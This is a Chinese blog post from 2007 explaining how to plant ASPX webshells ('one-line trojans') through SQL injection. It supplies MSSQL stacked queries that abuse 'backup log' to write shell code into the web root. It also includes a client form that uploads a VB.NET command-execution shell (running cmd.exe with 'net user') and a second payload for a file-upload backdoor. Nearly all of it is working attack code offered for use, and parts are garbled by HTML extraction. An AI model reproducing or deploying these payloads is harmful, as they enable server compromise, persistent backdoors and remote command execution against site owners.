首页 > 网络安全 > Aspx一句话木马使用

Aspx一句话木马使用

2007年10月23日 发表评论 阅读评论

from:Robert
1.相当于ASP的一句话木马:

程序代码

<br /><br />alter database pubs set RECOVERY FULL--<br />create table pubs.dbo.cmd(a image)<br />backup log pubs to disk = &#039;c:&#92;TM&#039; with init<br />insert into pubs.dbo.cmd(a) values (&#039;<%@ Page Language="C#" validateRequest="false" %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath("images.aspx"),false);ow.Write(Request.Params&#91;"l"&#93;);ow.Close()%> &#039;)<br />backup log pubs to disk = &#039;d:&#92;test11.aspx&#039;<br />//这个和asp的一样,客户端post一个变量l 把木马代码丢在变量l里面就ok了 这个是类似asp的一句话木马。<br />//mu.aspx.htm 客户端:(提交后访问:http://IP/images.aspx)<br /><form action=http://192.168.2.100/asp/mu.aspx method=post> <br /><b>在下面输入大马内容:</b><br><br /><textarea name=l cols=120 rows=35 width=45> <br /><%@ Page Language="VB" Debug="true" %><br /><%@ import Namespace="system.IO" %><br /><%@ import Namespace="System.Diagnostics" %><br /><script runat="server"> <br />Sub RunCmd(Src As Object, E As EventArgs) <br />Dim myProcess As New Process()      <br />Dim myProcessStartInfo As New ProcessStartInfo(xpath.Text)      <br />myProcessStartInfo.UseShellExecute = False    <br />myProcessStartInfo.RedirectStandardOutput = true   <br />myProcess.StartInfo = myProcessStartInfo      <br />myProcessStartInfo.Arguments=xCmd.text<br />myProcess.Start()<br />Dim myStreamReader As StreamReader = myProcess.StandardOutput <br />Dim myString As String = myStreamReader.Readtoend()<br />myProcess.Close()<br />mystring=replace(mystring,"<","<")<br />mystring=replace(mystring,">",">")<br />result.text= vbcrlf & "<pre>" & mystring & "


End Sub

ASP.NET Shell for WebAdmin2.X Final

;Program
c:\windows\system32\cmd.exe

Arguments
/c net user



2、下面这个是我找网上的asp.net的上传文件程序,修改精简了下,也可以用:

程序代码

<br /><br />drop table pubs.dbo.cmd<br />alter database pubs set RECOVERY FULL<br />create table pubs.dbo.cmd(a image)<br />backup log pubs to disk = &#039;c:&#92;TM&#039; with init<br />insert into pubs.dbo.cmd(a) values (&#039;<script language="c#" runat="server">private void bc(object o,EventArgs e) {string u="files";string filename;int pos=f.PostedFile.FileName.LastIndexOf("&#92;&#92;");filename=f.PostedFile.FileName.Substring(pos + 1);f.PostedFile.SaveAs(Server.MapPath(u)+"&#92;&#92;"+filename);}</script><form method="post" runat="server"><input type="file" id="f" runat="server"/><input type="submit" value="ss" runat="Server"  /></form>&#039;)<br />backup log pubs to disk = &#039;c:&#92;inetpub&#92;wwwroot&#92;test11.aspx&#039;<br /><br />

转载请注明:woyigui's blog [http://www.woyigui.cn/]
本文标题:Aspx一句话木马使用
本文地址:http://www.woyigui.cn/2007/10/23/aspx%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E4%BD%BF%E7%94%A8/

分类: 网络安全 标签:
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.
*